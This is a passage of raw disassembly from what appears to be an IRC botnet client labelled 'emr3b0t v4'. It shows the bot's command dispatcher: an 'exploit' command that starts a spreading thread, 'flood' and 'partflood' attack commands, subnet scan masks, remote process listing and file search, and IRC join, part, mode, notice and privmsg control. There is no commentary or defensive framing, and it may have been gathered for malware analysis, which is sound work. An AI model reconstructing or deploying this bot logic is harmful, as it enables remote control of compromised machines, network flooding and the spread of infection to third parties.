loc_4042EF: ; CODE XREF: sub_401CC7+25FEj
push [ebp+Format] ; Format
lea eax, [ebp+var_B2C]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
mov esi, dword ptr [ebp+esi+Args]
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_AA0], eax
mov [ebp+var_AA8], ebx
jz short loc_404350
push esi ; Str2
push offset aFull ; "full"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404350
mov [ebp+var_AA8], 1
loc_404350: ; CODE XREF: sub_401CC7+266Cj
; sub_401CC7+267Dj
lea eax, [ebp+Dst]
push offset asc_440BB8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 27h ; int
push eax ; Source
call sub_40B756
add esp, 14h
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_41A7CC
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_4043BE
loc_4043A8: ; CODE XREF: sub_401CC7+26F5j
cmp [ebp+var_A9C], ebx
jnz loc_4098F2
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4043A8
; ---------------------------------------------------------------------------
loc_4043BE: ; CODE XREF: sub_401CC7+26DFj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dst]
push offset asc_440BD4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4098F2
; ---------------------------------------------------------------------------
loc_4043DE: ; CODE XREF: sub_401CC7+17EEj
; sub_401CC7+1803j
cmp [ebp+var_8], ebx
jnz short loc_4043FD
push ebx ; int
push [ebp+var_4] ; int
push offset dword_440B68 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
loc_4043FD: ; CODE XREF: sub_401CC7+271Aj
push [ebp+arg_4]
call dword_4E3190 ; closesocket
call dword_4E3050 ; WSACleanup
call sub_4190F6
push ebx
call ds:dword_4F5338 ; ExitProcess
loc_404418: ; CODE XREF: sub_401CC7+17C4j
; sub_401CC7+17D9j
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push eax
call sub_41B92C
pop ecx
pop ecx
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
push offset dword_440B40
jmp short loc_404470
; ---------------------------------------------------------------------------
loc_404443: ; CODE XREF: sub_401CC7+179Aj
; sub_401CC7+17AFj
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41BBE0
add esp, 0Ch
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
push offset dword_440B18
loc_404470: ; CODE XREF: sub_401CC7+24D4j
; sub_401CC7+277Aj
call sub_415C3F
add esp, 18h
jmp loc_409B16
; ---------------------------------------------------------------------------
loc_40447D: ; CODE XREF: sub_401CC7+1770j
; sub_401CC7+1785j
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_415D7C
jmp loc_402082
; ---------------------------------------------------------------------------
loc_404496: ; CODE XREF: sub_401CC7+1746j
; sub_401CC7+175Bj
cmp [ebp+var_C], ebx
mov [ebp+var_1594], bl
jz short loc_4044D5
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_4044D5
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4044D5
push eax
push offset aS_36 ; "%s"
lea eax, [ebp+var_1594]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_4044D5: ; CODE XREF: sub_401CC7+27D8j
; sub_401CC7+27E3j ...
push [ebp+Format] ; Format
lea eax, [ebp+var_1614]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1618], eax
mov eax, [ebp+var_4]
mov [ebp+var_1510], eax
mov eax, [ebp+var_8]
mov [ebp+var_150C], eax
lea eax, [ebp+Dst]
push offset asc_440AAC ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 25h ; int
push eax ; Source
call sub_40B756
add esp, 14h
mov [ebp+var_1514], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1618]
push ebx
push eax
push offset sub_415DEF
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_1514]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_404578
loc_404562: ; CODE XREF: sub_401CC7+28AFj
cmp [ebp+var_1508], ebx
jnz loc_402085
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_404562
; ---------------------------------------------------------------------------
loc_404578: ; CODE XREF: sub_401CC7+2899j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_440AC4
jmp loc_402269
; ---------------------------------------------------------------------------
loc_404589: ; CODE XREF: sub_401CC7+171Cj
; sub_401CC7+1731j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_415BC7
push offset dword_440A88
call sub_415C3F
loc_4045A4: ; CODE XREF: sub_401CC7+2444j
add esp, 10h
jmp loc_409B16
; ---------------------------------------------------------------------------
loc_4045AC: ; CODE XREF: sub_401CC7+16F2j
; sub_401CC7+1707j
push [ebp+Format] ; Format
lea eax, [ebp+var_BC4]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
mov esi, dword ptr [ebp+esi+Args]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
jz short loc_404606
push offset aSub ; "sub"
push esi ; Str1
call _strcmp
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_B40], eax
jmp short loc_40460C
; ---------------------------------------------------------------------------
loc_404606: ; CODE XREF: sub_401CC7+2923j
mov [ebp+var_B40], ebx
loc_40460C: ; CODE XREF: sub_401CC7+293Dj
lea eax, [ebp+Dst]
push offset asc_440A20 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 28h ; int
push eax ; Source
call sub_40B756
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset sub_40B7C1
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_40467A
loc_404664: ; CODE XREF: sub_401CC7+29B1j
cmp [ebp+var_B34], ebx
jnz loc_406F7A
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_404664
; ---------------------------------------------------------------------------
loc_40467A: ; CODE XREF: sub_401CC7+299Bj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_440A40
jmp loc_4094C9
; ---------------------------------------------------------------------------
loc_40468B: ; CODE XREF: sub_401CC7+1676j
; sub_401CC7+168Bj
push offset aTrb ; "trb"
push offset asc_4409A8 ; "-"
loc_404695: ; CODE XREF: sub_401CC7+2A0Dj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 20h
jmp loc_406F7A
; ---------------------------------------------------------------------------
loc_4046C2: ; CODE XREF: sub_401CC7+164Cj
; sub_401CC7+1661j
push dword_4E2E1C
call sub_41B76F
pop ecx
push eax
push offset unk_440974
jmp short loc_404695
; ---------------------------------------------------------------------------
loc_4046D6: ; CODE XREF: sub_401CC7+1622j
; sub_401CC7+1637j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_404708
cmp [ebp+var_C], ebx
jz short loc_404717
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_404717
push eax ; Args
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
add esp, 0Ch
jmp short loc_404717
; ---------------------------------------------------------------------------
loc_404708: ; CODE XREF: sub_401CC7+2A18j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
pop ecx
pop ecx
loc_404717: ; CODE XREF: sub_401CC7+2A1Dj
; sub_401CC7+2A2Cj ...
push 0FFFFFFFEh
jmp loc_402087
; ---------------------------------------------------------------------------
loc_40471E: ; CODE XREF: sub_401CC7+15F8j
; sub_401CC7+160Dj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
push offset dword_440924
call sub_415C3F
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_402088
; ---------------------------------------------------------------------------
loc_404740: ; CODE XREF: sub_401CC7+15CEj
; sub_401CC7+15E3j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4] ; int
call sub_409CEE
push offset dword_4408E0
call sub_415C3F
add esp, 0Ch
jmp loc_409A7B
; ---------------------------------------------------------------------------
loc_40475F: ; CODE XREF: sub_401CC7+15A4j
; sub_401CC7+15B9j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40BE3A
jmp loc_404B1E
; ---------------------------------------------------------------------------
loc_404775: ; CODE XREF: sub_401CC7+157Aj
; sub_401CC7+158Fj
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40BDE5
jmp loc_404B1E
; ---------------------------------------------------------------------------
loc_40478B: ; CODE XREF: sub_401CC7+1550j
; sub_401CC7+1565j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40BD79
jmp loc_404B1E
; ---------------------------------------------------------------------------
loc_4047A1: ; CODE XREF: sub_401CC7+1526j
; sub_401CC7+153Bj
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40BCAA
jmp loc_404B1E
; ---------------------------------------------------------------------------
loc_4047B7: ; CODE XREF: sub_401CC7+1481j
; sub_401CC7+1496j
push dword ptr [ebp+esi+Args]
push 27h
push offset aProcessList ; "Process list"
push offset dword_4407E4
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_4047CF: ; CODE XREF: sub_401CC7+1457j
; sub_401CC7+146Cj
push dword ptr [ebp+esi+Args]
push 24h
push offset aFindFile ; "Find file"
push offset dword_4407B0
jmp loc_402D0F
; ---------------------------------------------------------------------------
loc_4047E7: ; CODE XREF: sub_401CC7+1073j
; sub_401CC7+1088j
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz short loc_404806
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_404806
push edi ; Str
call _atoi
pop ecx
jmp short loc_40480B
; ---------------------------------------------------------------------------
loc_404806: ; CODE XREF: sub_401CC7+2B29j
; sub_401CC7+2B34j
mov eax, dword_43F074
loc_40480B: ; CODE XREF: sub_401CC7+2B3Dj
mov esi, [ebp+esi+Format]
mov [ebp+var_590], eax
cmp esi, ebx
jz short loc_404830
push esi ; Format
loc_40481D: ; CODE XREF: sub_401CC7+2B78j
lea eax, [ebp+var_5A0]
push 10h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_404847
; ---------------------------------------------------------------------------
loc_404830: ; CODE XREF: sub_401CC7+2B53j
cmp [ebp+var_8FF], bl
jz short loc_404841
lea eax, [ebp+var_C0]
push eax
jmp short loc_40481D
; ---------------------------------------------------------------------------
loc_404841: ; CODE XREF: sub_401CC7+2B6Fj
mov [ebp+var_5A0], bl
loc_404847: ; CODE XREF: sub_401CC7+2B67j
mov eax, [ebp+var_4]
push [ebp+Format] ; Format
mov esi, [ebp+arg_4]
mov [ebp+var_584], eax
mov eax, [ebp+var_8]
push 80h ; Count
mov [ebp+var_580], eax
lea eax, [ebp+var_620]
push eax ; Dest
mov [ebp+var_624], esi
call __snprintf
add esp, 0Ch
push [ebp+var_590]
push esi
call sub_40AF71
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_4403B4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 19h ; int
push eax ; Source
call sub_40B756
add esp, 1Ch
mov [ebp+var_58C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_624]
push ebx
push eax
push offset sub_411C4E
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_58C]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_4048F8
loc_4048E2: ; CODE XREF: sub_401CC7+2C2Fj
cmp [ebp+var_57C], ebx
jnz loc_402085
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4048E2
; ---------------------------------------------------------------------------
loc_4048F8: ; CODE XREF: sub_401CC7+2C19j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_4403DC
jmp loc_402269
; ---------------------------------------------------------------------------
loc_404909: ; CODE XREF: sub_401CC7+1009j
; sub_401CC7+101Ej
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_404929
push esi ; Str
call _atoi
test ax, ax
pop ecx
jz short loc_404929
push esi ; Str
call _atoi
pop ecx
jmp short loc_40492F
; ---------------------------------------------------------------------------
loc_404929: ; CODE XREF: sub_401CC7+2C4Bj
; sub_401CC7+2C57j
mov ax, word_43F084
loc_40492F: ; CODE XREF: sub_401CC7+2C60j
push [ebp+Format] ; Format
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h ; Count
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax ; Dest
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call __snprintf
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AF71
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_440310 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push edi ; int
push eax ; int
push [ebp+Format] ; Str
push esi ; int
call sub_409D34
push ebx ; int
lea eax, [ebp+Dst]
push 6 ; int
push eax ; Source
call sub_40B756
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset sub_40EF74
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_4049FE
loc_4049E8: ; CODE XREF: sub_401CC7+2D35j
cmp [ebp+var_968], ebx
jnz loc_402085
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4049E8
; ---------------------------------------------------------------------------
loc_4049FE: ; CODE XREF: sub_401CC7+2D1Fj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44033C
jmp loc_402269
; ---------------------------------------------------------------------------
loc_404A0F: ; CODE XREF: sub_401CC7+FB5j
; sub_401CC7+FCAj ...
push edi ; Str2
push offset aSecure_1 ; "secure"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_404A37
push edi ; Str2
push offset aSec_0 ; "sec"
call _strcmp
pop ecx
mov [ebp+var_A10], ebx
test eax, eax
pop ecx
jnz short loc_404A41
loc_404A37: ; CODE XREF: sub_401CC7+2D57j
mov [ebp+var_A10], 1
loc_404A41: ; CODE XREF: sub_401CC7+2D6Ej
push [ebp+Format] ; Format
lea eax, [ebp+var_A94]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_A10], ebx
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
mov [ebp+var_A08], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_404A88
mov eax, offset aUnsecuring ; "Unsecuring"
loc_404A88: ; CODE XREF: sub_401CC7+2DBAj
push eax
push offset asc_4402A8 ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 22h ; int
push eax ; Source
call sub_40B756
add esp, 1Ch
mov [ebp+var_A14], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_41ACFD
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_A14]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_404AFC
loc_404AE6: ; CODE XREF: sub_401CC7+2E33j
cmp [ebp+var_A04], ebx
jnz loc_408637
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_404AE6
; ---------------------------------------------------------------------------
loc_404AFC: ; CODE XREF: sub_401CC7+2E1Dj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_4402C4
jmp loc_408628
; ---------------------------------------------------------------------------
loc_404B0D: ; CODE XREF: sub_401CC7+F8Bj
; sub_401CC7+FA0j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_41B592
loc_404B1E: ; CODE XREF: sub_401CC7+2AA9j
; sub_401CC7+2ABFj ...
add esp, 0Ch
jmp loc_409B16
; ---------------------------------------------------------------------------
loc_404B26: ; CODE XREF: sub_401CC7+F61j
; sub_401CC7+F76j
push offset unk_4401A4
jmp loc_408850
; ---------------------------------------------------------------------------
loc_404B30: ; CODE XREF: sub_401CC7+F37j
; sub_401CC7+F4Cj
push offset aEmr3b0tV4 ; "emr3b0t v4"
push offset dword_440184
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_404B3F: ; CODE XREF: sub_401CC7+F0Dj
; sub_401CC7+F22j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_404B99
push esi ; Str
call _atoi
cmp eax, ebx
pop ecx
jl short loc_404B91
cmp eax, 3
jge short loc_404B91
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_404B89
lea eax, [esi+1]
push eax
lea eax, [ebp+Dst]
push offset asc_4400E0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
mov [esi], bl
jmp loc_408506
; ---------------------------------------------------------------------------
loc_404B89: ; CODE XREF: sub_401CC7+2EA1j
push eax
push offset unk_440100
jmp short loc_404BD6
; ---------------------------------------------------------------------------
loc_404B91: ; CODE XREF: sub_401CC7+2E8Cj
; sub_401CC7+2E91j
push eax
push offset unk_44012C
jmp short loc_404BD6
; ---------------------------------------------------------------------------
loc_404B99: ; CODE XREF: sub_401CC7+2E81j
mov edi, [ebp+arg_18]
xor esi, esi
loc_404B9E: ; CODE XREF: sub_401CC7+2EF3j
push [ebp+var_90] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_404BC1
inc esi
add edi, 80h
cmp esi, 3
jl short loc_404B9E
jmp loc_408506
; ---------------------------------------------------------------------------
loc_404BC1: ; CODE XREF: sub_401CC7+2EE7j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
push offset asc_440158 ; "-"
loc_404BD6: ; CODE XREF: sub_401CC7+2143j
; sub_401CC7+2EC8j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
jmp loc_408503
; ---------------------------------------------------------------------------
loc_404BE7: ; CODE XREF: sub_401CC7+EE3j
; sub_401CC7+EF8j
push dword ptr [ebp+Args] ; Str2
push offset a332_4 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403690
call sub_40B91F
push ebx
call ds:dword_4F5338 ; ExitProcess
loc_404C0D: ; CODE XREF: sub_401CC7+1A02j
push offset aGet_2 ; "get"
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_404CA4
cmp dword_4E68F0, ebx
jz short loc_404C39
push offset byte_4E62D0
push offset unk_4412C4
jmp loc_404CD4
; ---------------------------------------------------------------------------
loc_404C39: ; CODE XREF: sub_401CC7+2F61j
push 10h
pop eax
mov [ebp+var_2D0], eax
push eax ; Size
lea eax, [ebp+var_2E8]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
call ds:dword_4F554C ; getsockname
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E30]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+var_E30]
push eax
push offset unk_441308
jmp short loc_404CD4
; ---------------------------------------------------------------------------
loc_404CA4: ; CODE XREF: sub_401CC7+2F55j
push esi
call dword_4E3138 ; inet_addr
cmp eax, 0FFFFFFFFh
push esi ; Source
jnz short loc_404CB8
push offset unk_441340
jmp short loc_404CD4
; ---------------------------------------------------------------------------
loc_404CB8: ; CODE XREF: sub_401CC7+2FE8j
push offset byte_4E62D0 ; Dest
call _strcpy
pop ecx
mov dword_4E68F0, 1
pop ecx
push esi
push offset asc_441374 ; "-"
loc_404CD4: ; CODE XREF: sub_401CC7+2F6Dj
; sub_401CC7+2FDBj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4036E8
; ---------------------------------------------------------------------------
loc_404CE8: ; CODE XREF: sub_401CC7+19EAj
push edi ; Str2
push offset aExploit ; "exploit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_404DEB
mov eax, [ebp+var_4]
mov esi, offset a2 ; "#2"
mov [ebp+var_13E4], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F4], eax
mov edi, 80h
push esi ; Format
lea eax, [ebp+var_1474]
push edi ; Count
push eax ; Dest
mov [ebp+var_13EC], 1
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_14F4]
push esi ; Format
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_1504]
push [ebp+Source] ; Format
push 10h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_1504]
push eax
lea eax, [ebp+Dst]
push offset asc_4413A8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 8 ; int
push eax ; Source
call sub_40B756
add esp, 18h
mov [ebp+var_13E8], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1504]
push ebx
push eax
push offset sub_40BF01
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_13E8]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_404DDA
loc_404DC4: ; CODE XREF: sub_401CC7+3111j
cmp [ebp+var_13DC], ebx
jnz loc_408506
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_404DC4
; ---------------------------------------------------------------------------
loc_404DDA: ; CODE XREF: sub_401CC7+30FBj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_4413D8
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_404DEB: ; CODE XREF: sub_401CC7+3030j
push edi ; Str2
push offset aReconnect_in ; "reconnect.in"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409A82
push edi ; Str2
push offset aRin ; "rin"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409A82
push edi ; Str2
push offset aReconnect_in_m ; "reconnect.in.ms"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409A3A
push edi ; Str2
push offset aRinms ; "rinms"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409A3A
push [ebp+arg_8] ; Str2
push offset aFlood ; "flood"
call _strcmp
mov edi, ds:dword_4F534C
pop ecx
test eax, eax
pop ecx
jnz loc_4059D2
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
push [ebp+Source] ; Str2
push offset aLoad ; "load"
call _strcmp
add esp, 0Ch
test eax, eax
jnz short loc_404EF1
cmp [ebp+esi+var_80], ebx
jz short loc_404EF1
push [ebp+esi+var_80] ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+esi+Str2] ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+esi+Format] ; Source
call sub_4185D2
add esp, 0Ch
lea eax, [ebp+Dst]
push [ebp+esi+Str2]
push [ebp+esi+Format]
push [ebp+esi+var_80]
push offset asc_4414D0 ; "-"
push eax ; Dest
call _sprintf
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404EF1
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
loc_404EF1: ; CODE XREF: sub_401CC7+31B3j
; sub_401CC7+31B9j ...
push [ebp+Source] ; Str2
push offset aPm_1 ; "pm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404F5D
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_404F5D
push offset asc_441500 ; " "
push offset a__7 ; "_"
push eax ; Src
call sub_418C07
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _strcpy
add esp, 14h
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
loc_404F5D: ; CODE XREF: sub_401CC7+323Bj
; sub_401CC7+3246j
push [ebp+Source] ; Str2
push offset aCt ; "ct"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_404FC9
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_404FC9
push offset asc_44151C ; " "
push offset a_ ; "_"
push eax ; Src
call sub_418C07
push eax ; Source
lea eax, [ebp+var_4BF0]
push eax ; Dest
call _strcpy
add esp, 14h
lea eax, [ebp+var_4BF0]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgS ; "privmsg %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
loc_404FC9: ; CODE XREF: sub_401CC7+32A7j
; sub_401CC7+32B2j
push [ebp+Source] ; Str2
push offset aNt_1 ; "nt"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405035
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_405035
push offset asc_44153C ; " "
push offset a__8 ; "_"
push eax ; Src
call sub_418C07
push eax ; Source
lea eax, [ebp+var_46EC]
push eax ; Dest
call _strcpy
add esp, 14h
lea eax, [ebp+var_46EC]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
loc_405035: ; CODE XREF: sub_401CC7+3313j
; sub_401CC7+331Ej
push [ebp+Source] ; Str2
push offset aMode ; "mode"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4050A1
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_4050A1
push offset asc_44155C ; " "
push offset a__0 ; "_"
push eax ; Src
call sub_418C07
push eax ; Source
lea eax, [ebp+var_4DF0]
push eax ; Dest
call _strcpy
add esp, 14h
lea eax, [ebp+var_4DF0]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aModeSS ; "mode %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
loc_4050A1: ; CODE XREF: sub_401CC7+337Fj
; sub_401CC7+338Aj
push [ebp+Source] ; Str2
push offset aJoin ; "join"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4050E0
mov eax, [ebp+esi+Format]
cmp eax, ebx
jz short loc_4050E0
push eax
lea eax, [ebp+Dst]
push offset aJoinS ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
loc_4050E0: ; CODE XREF: sub_401CC7+33EBj
; sub_401CC7+33F6j
push [ebp+Source] ; Str2
push offset aPart_1 ; "part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40511F
mov eax, [ebp+esi+Format]
cmp eax, ebx
jz short loc_40511F
push eax
lea eax, [ebp+Dst]
push offset aPartS ; "part %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
loc_40511F: ; CODE XREF: sub_401CC7+342Aj
; sub_401CC7+3435j
push [ebp+Source] ; Str2
push offset aPartflood ; "partflood"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405163
mov eax, [ebp+esi+Format]
cmp eax, ebx
jz short loc_405163
push offset aCyber ; "CYBER"
push eax
lea eax, [ebp+Dst]
push offset aPartSS ; "part %s %s"
